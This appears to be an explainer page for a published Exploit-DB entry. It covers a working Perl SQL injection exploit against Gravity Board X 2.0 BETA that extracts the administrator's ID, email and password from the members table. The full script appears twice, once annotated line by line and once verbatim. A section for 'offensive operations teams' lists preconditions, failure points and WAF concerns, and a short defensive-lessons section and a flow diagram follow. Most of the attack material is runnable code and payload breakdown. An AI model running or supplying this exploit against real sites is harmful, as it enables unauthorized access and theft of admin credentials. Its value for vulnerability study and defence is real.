Gravity Board X 2.0 SQL Injection Exploit Explained

Gravity Board X 2.0 SQL Injection Exploit Explained
What this paper is
This paper details a SQL injection vulnerability found in Gravity Board X version 2.0 BETA (Public Release 3). The exploit, written in Perl, targets a specific vulnerability in the index.php file to extract administrator credentials (member ID, email, and password) from the gbx_members table.
Simple technical breakdown
The vulnerability lies in how the web application handles user input for the member_id parameter. The application directly incorporates this input into an SQL query without proper sanitization. By crafting a malicious member_id value, an attacker can manipulate the SQL query to perform a UNION SELECT operation. This allows the attacker to retrieve data from other tables, specifically the administrator's information from the gbx_members table.
The exploit uses the UNION SELECT SQL statement to combine the results of the original query with the results of a query that extracts specific columns (memberid, email, pw) from the gbx_members table. The concat function is used to format the output, making it easier to parse.
Complete code and payload walkthrough
The provided Perl script automates the process of exploiting this SQL injection vulnerability.
#!/usr/bin/perl
# Exploit Title: Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION
# Date: 26.02.2010
# Author: Ctacok
# Software Link: http://www.gravityboardx.com/
# Version: 2.0 BETA (Public Release 3)
# Tested on: Windows SP 3
# Code : [exploit code]
use LWP::Simple; # Imports the LWP::Simple module for making HTTP requests.
print "\n";
print "##############################################################\n";
print "# Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Big Thanks to Slip :) #\n";
print "# Require : Magic_quotes = Off #\n";
print "##############################################################\n";
if (@ARGV < 2) # Checks if at least two command-line arguments are provided.
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit; # Exits the script if usage instructions are not met.
}
$host=$ARGV[0]; # Assigns the first command-line argument (hostname) to the $host variable.
$path=$ARGV[1]; # Assigns the second command-line argument (path) to the $path variable.
$prefix=$ARGV[2]; # PREFIX TABLES, Default: gbx # Assigns the third command-line argument (table prefix) to the $prefix variable. If not provided, it's assumed to be 'gbx'.
$vuln = "-2'+union+select+concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)+from+".$prefix."_members"; # Constructs the malicious SQL query.
# Breakdown of $vuln:
# "-2'" : This part is designed to cause an error in the original query, forcing the application to execute the UNION part. The '-2' is likely an arbitrary value that won't match any valid member ID. The single quote closes the string context of the original query.
# "+union+" : The UNION SQL operator, used to combine the result set of two or more SELECT statements.
# "+select+" : The SELECT keyword.
# "concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)" : This is the core of the data extraction.
# - concat(): A SQL function that concatenates strings.
# - 0x3a3a3a: Hexadecimal representation of ":::". This is used as a delimiter to easily parse the output.
# - memberid: The column containing the member's ID.
# - 0x3a: Hexadecimal representation of ":". Another delimiter.
# - email: The column containing the member's email address.
# - pw: The column containing the member's password (likely hashed).
# - 0x3a3a3a: Again, ":::".
# "+from+": The FROM clause, specifying the table to select from.
# $prefix."_members": Dynamically constructs the table name using the provided prefix (e.g., "gbx_members").
$doc = get($host.$path."index.php?action=viewprofile&member_id=".$vuln."+--+"); # Makes an HTTP GET request to the vulnerable URL.
# Breakdown of the URL:
# $host.$path."index.php?action=viewprofile" : The base URL to the vulnerable script.
# "&member_id=" : The parameter that is vulnerable to SQL injection.
# $vuln : The crafted malicious SQL query string.
# "+--+" : This is a SQL comment. The '--' signifies the start of a comment in many SQL dialects. The '+' characters are URL-encoded spaces. This comment is used to discard any remaining part of the original SQL query that might follow the injected part, preventing syntax errors.
if ($doc =~ /:::(.+):(.+):(.+):::/){ # Uses a regular expression to parse the response from the server.
# Breakdown of the regex /:::(.+):(.+):(.+):::/:
# ":::" : Matches the literal ":::" at the beginning of the extracted data.
# "(.+)" : This is a capturing group.
# - ".": Matches any character (except newline).
# - "+": Matches the previous character one or more times.
# - This group captures the first part of the data (member ID).
# ":" : Matches the literal ":" delimiter.
# "(.+)" : Captures the second part of the data (email).
# ":" : Matches the literal ":" delimiter.
# "(.+)" : Captures the third part of the data (password).
# ":::" : Matches the literal ":::" at the end of the extracted data.
print "\n[+] Admin id: : $1"; # Prints the captured member ID (from the first capturing group).
print "\n[+] Admin email: $2"; # Prints the captured email (from the second capturing group).
print "\n[+] Admin password: $3"; # Prints the captured password (from the third capturing group).
}
# Mapping list:
# `use LWP::Simple;` -> Enables making HTTP requests.
# `print "..."` -> Displays banner and usage information.
# `if (@ARGV < 2)` -> Checks for required command-line arguments.
# `$host=$ARGV[0];` -> Stores the target hostname.
# `$path=$ARGV[1];` -> Stores the target path.
# `$prefix=$ARGV[2];` -> Stores the table prefix (optional).
# `$vuln = "-2'+union+select+concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)+from+".$prefix."_members";` -> Constructs the malicious SQL injection payload.
# `$doc = get(...)` -> Sends the HTTP request with the injected payload and retrieves the response.
# `if ($doc =~ /:::(.+):(.+):(.+):::/)` -> Parses the HTTP response for the extracted data.
# `print "\n[+] Admin id: : $1";` -> Prints the extracted admin ID.
# `print "\n[+] Admin email: $2";` -> Prints the extracted admin email.
# `print "\n[+] Admin password: $3";` -> Prints the extracted admin password.
## Practical details for offensive operations teams
* **Required Access Level:** Network access to the target web server and knowledge of its web application path. No authenticated access to the application is required.
* **Lab Preconditions:**
* A vulnerable instance of Gravity Board X 2.0 BETA (Public Release 3) must be set up.
* The web server must be configured with `magic_quotes_gpc` set to `Off`. This is a critical prerequisite mentioned in the exploit's banner. If `magic_quotes_gpc` is `On`, the single quotes in the payload would be escaped, rendering the injection ineffective.
* The target web application should be accessible via HTTP/HTTPS.
* **Tooling Assumptions:**
* A Perl interpreter installed on the operator's machine.
* The `LWP::Simple` Perl module installed (usually comes with standard Perl installations).
* A command-line interface (CLI) for executing the Perl script.
* **Execution Pitfalls:**
* **`magic_quotes_gpc` being `On`:** As mentioned, this is the most significant failure point. The exploit will not work if this PHP setting is enabled.
* **Incorrect `host` or `path`:** Typos or incorrect paths will lead to the script not reaching the vulnerable endpoint.
* **Incorrect `prefix`:** If the `gbx_members` table has a different prefix (e.g., `gbx_users`, `myboard_members`), the exploit will fail to find the table. The default is `gbx`.
* **Web Application Firewall (WAF):** Modern WAFs might detect the SQL injection pattern (UNION SELECT, concat, hex encoding) and block the request.
* **Output Format Changes:** If the application's output format changes or the `memberid`, `email`, or `pw` columns are renamed or removed, the regular expression parsing will fail.
* **Database Structure:** The exploit assumes the `gbx_members` table exists and contains `memberid`, `email`, and `pw` columns. If the database schema is different, the exploit will fail.
* **URL Encoding:** The script uses `+` for spaces, which is a common URL encoding for spaces. However, depending on the server or specific context, other encodings might be required.
* **Expected Telemetry:**
* **Web Server Logs:**
* HTTP GET requests to `index.php` with a long, malformed `member_id` parameter containing SQL keywords (`UNION`, `SELECT`, `CONCAT`, hex values).
* Potential error logs if the injected query causes a database error that is not gracefully handled.
* Successful requests might show a normal response, but the content will be the extracted credentials if the regex matches.
* **Network Traffic:**
* Unusual length of GET requests to the target URL.
* The presence of SQL keywords and hex-encoded strings within the URL parameters.
* **Application Behavior:**
* If the exploit is successful, the user will see the extracted admin credentials printed to their console.
* The web page itself might display an error or an unexpected output if the injection causes a database error.
## Where this was used and when
* **Context:** This exploit targets a specific version of a web application (Gravity Board X 2.0 BETA). Such exploits are typically used by security researchers to demonstrate vulnerabilities or by malicious actors to gain unauthorized access to systems running that specific software.
* **Approximate Dates:** The exploit was published on February 27, 2010. Therefore, its relevant usage period would be around **2010 and shortly thereafter**, before the vulnerability was patched or the software was updated to a non-vulnerable version. It's possible it was used in the wild by attackers who discovered it independently or adapted it from public disclosures.
## Defensive lessons for modern teams
* **Input Validation and Sanitization:** This is the most fundamental lesson. Never trust user input. All data coming from external sources (user forms, URL parameters, cookies, etc.) must be rigorously validated and sanitized before being used in database queries.
* **Parameterized Queries / Prepared Statements:** Use parameterized queries or prepared statements provided by the database driver. These separate SQL code from data, preventing malicious input from being interpreted as SQL commands.
* **Principle of Least Privilege:** Ensure the database user account used by the web application has only the minimum necessary permissions. This limits the damage an attacker can do even if they manage to inject SQL.
* **Web Application Firewalls (WAFs):** While not a silver bullet, WAFs can help detect and block common SQL injection patterns. However, attackers can often bypass WAFs with clever encoding and obfuscation techniques.
* **Regular Software Updates:** Keep all web applications and their underlying frameworks and libraries updated to the latest stable versions. Vendors typically patch known vulnerabilities.
* **Secure Configuration:** Ensure PHP configurations like `magic_quotes_gpc` (though deprecated and removed in later PHP versions) are set securely. In modern PHP, this specific setting is less relevant, but the principle of secure configuration applies broadly.
* **Error Handling:** Configure applications to display generic error messages to users and log detailed error information only to secure server logs. Revealing detailed database errors can provide attackers with valuable information.
## ASCII visual (if applicable)
This exploit is a direct client-to-server interaction targeting a web application's backend database. An ASCII diagram illustrating the flow of the exploit would look like this:
```ascii
+-----------------+ +-----------------------+ +-----------------+
| Attacker's | ---> | Web Server (Target) | ---> | Database Server |
| Machine | | (Gravity Board X) | | |
+-----------------+ +-----------------------+ +-----------------+
| | ^
| 1. Sends Malicious GET | |
| Request with | |
| SQL Injection | |
| Payload | |
| | 2. Processes Request |
| | (Vulnerable Code) |
| | |
| | 3. Executes Injected SQL |
| | (UNION SELECT) |
| | |
| | 4. Returns Data (Creds) |
| +----------------------------+
| |
+-----------------------------------------------------+
5. Displays Extracted CredentialsExplanation:
- The attacker's machine sends a crafted HTTP GET request to the web server. This request includes the malicious SQL injection payload within the
member_idparameter. - The web server receives the request and passes it to the Gravity Board X application. The vulnerable
index.phpscript processes themember_idparameter. - Because of the lack of sanitization, the application directly embeds the malicious string into an SQL query and sends it to the database server. The
UNION SELECTstatement instructs the database to execute an additional query. - The database server executes both the original (intended) query and the injected
UNION SELECTquery, which extracts the administrator's credentials. The results of the injected query are concatenated and returned to the web application. - The web application receives the data, and the Perl script parses the response, extracting and displaying the administrator's ID, email, and password.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/11583
- Exploit-DB Raw Exploit: https://www.exploit-db.com/raw/11583
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# Exploit Title: Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION
# Date: 26.02.2010
# Author: Ctacok
# Software Link: http://www.gravityboardx.com/
# Version: 2.0 BETA (Public Release 3)
# Tested on: Windows SP 3
# Code : [exploit code]
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Big Thanks to Slip :) #\n";
print "# Require : Magic_quotes = Off #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2]; # PREFIX TABLES, Default: gbx
$vuln = "-2'+union+select+concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)+from+".$prefix."_members";
$doc = get($host.$path."index.php?action=viewprofile&member_id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin email: $2";
print "\n[+] Admin password: $3";
}